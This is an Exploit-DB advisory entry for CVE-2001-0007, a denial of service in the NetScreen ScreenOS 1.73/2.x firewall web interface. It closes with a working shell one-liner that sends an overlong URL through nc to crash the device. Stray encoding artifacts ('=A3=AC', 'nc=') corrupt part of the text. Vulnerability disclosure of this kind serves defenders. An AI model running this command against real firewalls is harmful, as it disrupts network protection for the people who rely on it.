ScreenOS 1.73/2.x Firewall Denial of Service Vulnerability

ID EDB-ID:20532
Type exploitdb
Reporter Nsfocus
Modified 2001-01-08T00:00:00


ScreenOS 1.73/2.x Firewall Denial of Service Vulnerability. CVE-2001-0007. Dos exploit for sco platform


NetScreen Firewall is a network appliance used to secure against intruders and various types of attacks to a network. NetScreen has a Web administrative Interface (WebUI) used to configure and set the firewall settings.

It is possible to cause a denial of service in NetScreen Firewall. Requesting an unusually long URL to WebUI listening on default port 80, will cause the firewall to crash. A restart of the service is required in order to gain normal functionality. 

Once the input URL is longer than 1220 bytes=A3=ACNetScreen firewall= will crash:

$echo -e "GET /`perl -e 'print "A"x1220'` HTTP/1.0\n\n"|nc= netscreen_firewall 80